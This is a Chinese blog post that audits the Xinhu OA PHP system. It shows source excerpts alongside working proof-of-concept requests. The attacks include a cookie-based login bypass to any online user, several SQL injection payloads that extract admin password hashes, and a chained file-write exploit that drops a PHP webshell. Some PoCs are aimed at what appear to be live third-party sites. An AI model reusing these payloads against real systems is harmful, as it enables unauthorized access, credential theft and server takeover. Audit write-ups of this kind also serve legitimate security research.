title: 某oa系统的审计

date: 2018-03-07 17:18:16

tags:

信呼OA

闲着没事,java学累了来整理下以前审的一个觉得很有意思的cms,这个作者写的比较灵活,同时灵活也代表着凌乱,很多不严谨导致的很多问题,也许也是oa系统相对于一些其他类型的站点要复杂,前期架构没设计好就很容易造成诸多不便还有些问题。这个cms我觉得最有意思的就是webmainAction.php当中的一些public开头的公共方法比如publicsavevalue这样,基本都是做三件事第一有个beforexxx还有个xxx还有afterxxx会去做一些有关的事,最重要的是这些方法都是可控的,不好表述具体仔细看代码会明白,总之感觉这是一个非常灵活的cms,同时又有颇多的问题,这里逻辑层面还做的比较繁杂,仔细推敲一定还能找着不少有关逻辑层面的洞,这里简单发几个。

1.管理员登录验证绕过,可直接登录任意在线用户

在\xinhu\webmain\task\mode\modeAction.php控制器中的initAction方法,可以看到接收用户传递的adminid还有token,之后将其带入login模型的autologin方法,该方法作用是实现快速登录,具体看一下

	public function autologin($aid=0, $token='', $ism=0)
{
$baid = $this->adminid;
if($aid>0 && $token!=''){
$rs = $this->getone("`uid`='$aid' and `token`='$token' and `online`=1",'`name`');
if(!$rs)exit('illegal request2');
$this->setsession($aid, $rs['name'], $token);
$baid = $aid;
}
if($baid==0){
$uid = (int)$this->rock->cookie('mo_adminid','0');//用cookie登录
$onrs = $this->getone("`uid`=$uid and `online`=1",'`name`,`token`,`id`,`uid`');
if($onrs){
$this->setsession($uid, $onrs['name'], $onrs['token']);
$this->update("moddt='".$this->rock->now."'", $onrs['id']);
}else{
$uid = 0;
}
$baid = $uid;
}
return $baid;
}
}

看到这里$this->adminid值的获取

	public function initRock()
{
$this->jm = c('jm', true);
$this->adminid = (int)$this->session('adminid',0);
$this->adminname= $this->session('adminname');
$this->adminuser= $this->session('adminuser');
}

看到默认值为0

这里进入第二个if,发现这里仅仅验证cookie,得到一个uid,带入数据库查询这个uid,uid存在并且用户在线状态为1就进入if($onrs) 当中,同时设置session,并且成功登录。

利用方式(官网demo):?m=mode&d=task&a=init&adminid=0&token=11

首先设置Cookie: xinhu_mo_adminid=1;然后访问该控制器

访问前台:成功登录!

2.前台登录接口注入

登陆接口处存在注入,无需登录,可获取管理员hash、token等重要凭据

首先\webmain\task\api\loginAction.php控制器当中的checkAction方法

{
public function checkAction()
{
$adminuser = str_replace(' ','',$this->rock->jm->base64decode($this->post('user')));
$adminpass = $this->rock->jm->base64decode($this->post('pass'));
$arr = m('login')->start($adminuser, $adminpass);
if(is_array($arr)){
$arrs = array(
'uid' => $arr['uid'],
'name' => $arr['name'],
'user' => $arr['user'],
'ranking' => $arr['ranking'],
'deptname' => $arr['deptname'],
'deptallname' => $arr['deptallname'],
'face' => $arr['face'],
'apptx' => $arr['apptx'],
'token' => $arr['token'],
'iskq' => (int)m('userinfo')->getmou('iskq', $arr['uid']), //判断是否需要考勤
'title' => getconfig('apptitle'),
'weblogo' => getconfig('weblogo')
); $uid = $arr['uid'];
$name = $arr['name'];
$user = $arr['user'];
$token = $arr['token'];
m('login')->setsession($uid, $name, $token, $user);
$this->showreturn($arrs);
}else{
$this->showreturn('', $arr, 201);
}
}

是做一个登录验证的api,其中调用的start()模型是一个具体的的登录验证,其中接受5个用户可控的参数

public function start($user, $pass, $cfrom='', $devices='')
{
$uid = 0;
$cfrom = $this->rock->request('cfrom', $cfrom);
$token = $this->rock->request('token');
$device= $this->rock->request('device', $devices);
$ip = $this->rock->request('ip', $this->rock->ip);
$web = $this->rock->request('web', $this->rock->web);

中间登录过程不详细解释,其中会有一个日志记录的动作,在start方法中看到末尾

		m('log')->addlog(''.$cfrom.'登录', '['.$posts.']'.$loginx.''.$logins.'', array(
'optid' => $uid,
'optname' => $name,
'ip' => $ip,
'web' => $web,
'device' => $device
));

这一步将用户输入写入日志,其中过滤了单引号还有一些特殊的关键字,这里可以绕过,具体payload如下:

http://localhost/xinhu/api.php?m=login&a=check&cfrom=pc&user=hello&pass=123&ip=testip&web==(substr((seleselect*ct+pass+from+xinhu_admin+where+id+=1),1,1)="e"%26%26sleep(5))--+&device=testdevice

查询密码第一位如果为e则延时5秒

类似这样的注入应该还有一大把,懒得看,他\ 没有过滤,稍微有点心应该都晓得怎么利用

3.where处注入

没什么可分析的。poc

http://localhost/xinhu/?d=reim&m=chat&uid=1 or 1&type=group&winobj=group_14

4.where处注入

http://localhost/xinhu/?&m=kaoqinj&a=kqjcmddel&d=main&ajaxbool=true

post:id=1) and sleep(4

	public function kqjcmddelAjax()
{
$id = $this->post('id');
m('kqjcmd')->delete("`id` in ($id)");
showreturn();
}

5.注入

http://localhost/xinhu/api.php?a=subscribe&m=asynrun&id=1 and sleep(10) &uid&receid&recename&asynkey=2b557b98f1dc3911727681ec3f38f78c

6.注入

http://www.mianfeix.com/api.php?&m=indexreim&a=ldata

post:loaddt=MScgYW5kIDAgdW5pb24gc2VsZWN0IGlkLHVzZXIsMSwxLDEsbnVsbCxwYXNzLDEsMSBmcm9tIHhpbmh1X2FkbWluIw==sleep&type=history

7.自定义setval

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.php

	public function setsaveAjax()
{
$this->option->setval('email_sendhost@-1', $this->post('sendhost'));
$this->option->setval('email_sendport@-1', $this->post('sendport'));
$this->option->setval('email_recehost@-1', $this->post('recehost'));
$this->option->setval('email_sendsecure@-1', $this->post('sendsecure'));
$this->option->setval('email_sysname@-1', $this->post('sysname'));
$this->option->setval('email_sysuser@-1', $this->post('sysuser'));
$this->option->setval('email_receyumi@-1', $this->post('receyumi'));
$syspass = $this->post('syspass');
if(!isempt($syspass)){
$this->option->setval('email_syspass@-1', $this->jm->encrypt($syspass));
}
$this->backmsg();
}

另一个自定义val,比上面那个方便

public function savecolunmsAjax()
{
$num = $this->post('num');
$modeid = (int)$this->post('modeid');
$str = $this->post('str');
$this->option->setval($num.'@'.(-1*$modeid-1000), $str,'模块列定义');
$path = m('mode')->createlistpage($modeid);
$msg = 'ok';
if($path=='')$msg='已保存,但无法从新生成列表页,自定义列将不能生效';
echo $msg;
}

http://localhost/xinhu/index.php?&m=flow&a=savecolunms&ajaxbool=true&d=main

post:num=path&str=/test/a

这不算漏洞,但是可以利用这个做一些事情。

8.输出显示val

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\task\api\loginAction.php

	public function checkewmAction()
{
$randkey = $this->get('randkey'); $val = $this->option->getval($randkey);
echo $val;
//echo $val;exit();
//echo $val;
$data['val'] = $val;
//echo $randkey;exit();
if(isempt($randkey))$this->showreturn($data);
if($val>'0'){
$dbs = m('admin');
$urs = $dbs->getone("`id`='$val' and `status`=1",'`name`,`user`,`face`,`pass`');
if(!$urs){
$val = '-1';
}else{
$data['user'] = $urs['user'];
$data['face'] = $dbs->getface($urs['face']);
$data['pass'] = md5($urs['pass']);
}
$this->option->delete("`num`='$randkey'");
}
$data['val'] = $val;
$this->showreturn($data);
}

http://localhost/xinhu/index.php?&m=email&a=setsave&d=system&ajaxbool=true

post:sendhost=1

http://localhost/xinhu/api.php?&m=login&a=checkewm&randkey=email_sendhost

9.输出显示val

获取服务段加密数据

poc:

http://www.realfoodco.cn/index.php?&m=email&a=publicstore&d=system&ajaxbool=true

post:storeafteraction=savebeforecog&emailpass=admin&id=1


public function savebeforecog($table, $cans)
{
$emailpass = $this->post('emailpass');
if(!isempt($emailpass)){
$cans['emailpass'] = $this->jm->encrypt($emailpass);
}
return array(
'rows' => $cans
);
}

写文件GETSHELL

这是一个很有意思的漏洞,由于该框架的实现相当灵活,这里我是利用了一些组合调用来完成的上面的7、8、9都是我为了这一步做的一些铺垫。这里姿势比较多我只介绍了一种,有幸看到文章的师傅也可以试一试

首先看问题所在的函数,C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\webmainAction.php

public function exceldown($arr)
{
$fields = explode(',', $this->post('excelfields','',1));
$header = explode(',', $this->post('excelheader','',1));
$title = $this->post('exceltitle','',1);
$rows = $arr['rows'];
$exceltype = $this->post('exceltype','xls'); //保存文件类型
$headArr = array();
for($i=0; $i<count($fields); $i++){
$headArr[$fields[$i]] = $header[$i];
}
$url = c('html')->execltable($title, $headArr, $rows, $exceltype);
$this->returnjson(array(
'url' => $url,
'totalCount'=> $arr['totalCount'],
'downCount' => count($rows)
));
}

这里看到默认上传接受的文件后缀是xls,这个后缀传递给c('html')->execltable模型,看看这个模型的实现

/**
* 创建excel导出表格
*/
public function execltable($title, $headArr, $rows, $lx='')
{
if($lx=='')$lx='xls';
$borst = '.5pt';
$sty = 'style="white-space:nowrap;border:'.$borst.' solid #000000;font-size:12px;"';
$s = '<html><head><meta charset="utf-8"><title>'.$title.'</title></head><body>';
$s .= '<table border="0" style="border-collapse:collapse;">';
$hlen = 1;
$s1='<tr height="30"><td '.$sty.'>序号</td>';
foreach($headArr as $na){
$hlen++;
$s1.='<td '.$sty.'>'.$na.'</td>';
}
$s1.='</tr>';
$s.='<tr height="40"><td '.$sty.' colspan="'.$hlen.'">'.$title.'</td></tr>';
$s.=$s1;
foreach($rows as $k=>$rs){
$s.='<tr height="26">';
$s.='<td align="center" '.$sty.'>'.($k+1).'</td>';
foreach($headArr as $kf=>$na){
$val = '';
if(isset($rs[$kf]))$val=$rs[$kf];
$s.='<td '.$sty.'>'.$val.'</td>';
}
$s.='</tr>';
}
$s.='</table>'; $s.='</body></html>'; $mkdir = ''.UPDIR.'/logs/'.date('Y-m').''; if(!contain(strtolower(PHP_OS),'win')){
$title = c('pingyin')->get($title, 1);//linux要用拼音,不然会乱码
} $filename = ''.$title.'_'.date('d_His').'.'.$lx.'';
$filename = str_replace('/','',$filename);
$url = ''.$mkdir.'/'.$filename.'';
$bo = $this->rock->createtxt(iconv('utf-8','gb2312',$url), $s);
return $url;
}

文件名自始至终没有一个检测,利用这里我们可以写入任意文件,但是有几点需要注意,首先需要写进文件的变量是$title, $headArr,$arr,前两个是用户post后然后加密一次的变量,arr变量是调用该方法传入的一个数组参数。我这里考虑使用前者两个变量写shell,因为这样我的数据包是一次加密的这样比较隐蔽,但是这个加密函数是内部实现的,我该如何将我的字符串使用网站加密再返回给我?找到这么一个函数

C:\phpStudy\PHPTutorial\WWW\xinhu\webmain\system\email\emailAction.php

public function savebeforecog($table, $cans)
{ $emailpass = $this->post('emailpass');
if(!isempt($emailpass)){
$cans['emailpass'] = $this->jm->encrypt($emailpass);
}
return array(
'rows' => $cans
);
}

post('emailpass')后返回回去,有了这个函数,还有漏洞,就差一把枪,也就是该如何调用。

由于这个框架直接路由调用的方法都是以Ajax或者Action结尾的方法,这两个方法都不能如此直接路由调用,这里就找到一些公共方法。首先是加密这一块,我调用publicstoreAjax()方法,其中会接受参数进行下一步的操作

访问

http://localhost/xinhu/index.php?&m=email&a=publicstore&d=system&ajaxbool=true

post数据:storeafteraction=savebeforecog&emailpass=&id=1

这样生成加密字符串

拿到加密字符串后开始正式写shell

访问:http://localhost/xinhu/index.php?&a=publicsavevalue&ajaxbool=true

post数据:fieldsafteraction=exceldown&exceltype=php&excelheader=hx0oh0kt0nnl0lt0tv0ok0nxp0ll0kn0nxh0nvv0nxx0tn0ho0nno0tk0ot0tu0nnv0ll0tn0th0nnh0lh0nxl0lx0nnv0lx0nvn0tp0nnv0hx0nvv0kv0kh03

写文件

生成成功,验证一下

由于我写入的字符串post的时候就是加密一次的,所以这里自带过滤,可以过一些waf等防护

最新文章

  1. ORA-00942:table or view does not exist
  2. golang在linux下的开发环境部署[未完]
  3. 在c#中用指针操作图片像素点
  4. Java集合源码学习(四)HashMap分析
  5. [AHOI2013]立方体(三维bit)
  6. entityFramework使用 codefirst
  7. PHP中该怎样防止SQL注入?
  8. Egret的VS环境搭配
  9. Jersey Restful部署到Tomcat注意事项
  10. Hadoop2.3.0具体安装过程
  11. python复习。知识点小记
  12. Go strings.Builder
  13. java news website
  14. General Test Scenarios
  15. win10家庭版怎么开启Administrator超级管理员帐户
  16. 移动端H5页面上传图片或多张图片
  17. android手机安全性測试手段
  18. 【转】朱兆祺教你如何攻破C语言学习、笔试与机试的难点(连载)
  19. jsp页面积累
  20. svn 配置仓库

热门文章

  1. Objectarx 相交矩形求并集 面域转多段线
  2. P4550 收集邮票
  3. java.sql.SQLException: connection holder is null 问题处理
  4. sql中,case when的几种写法
  5. js强制限制输入允许两位小数
  6. NMI计算
  7. Unity3d组件实现令人惊叹的像素粒子特效!
  8. MySQL 高可用之主从复制
  9. 讲解 json 和 pickle 模块
  10. node + multer存储element-ui上传的图片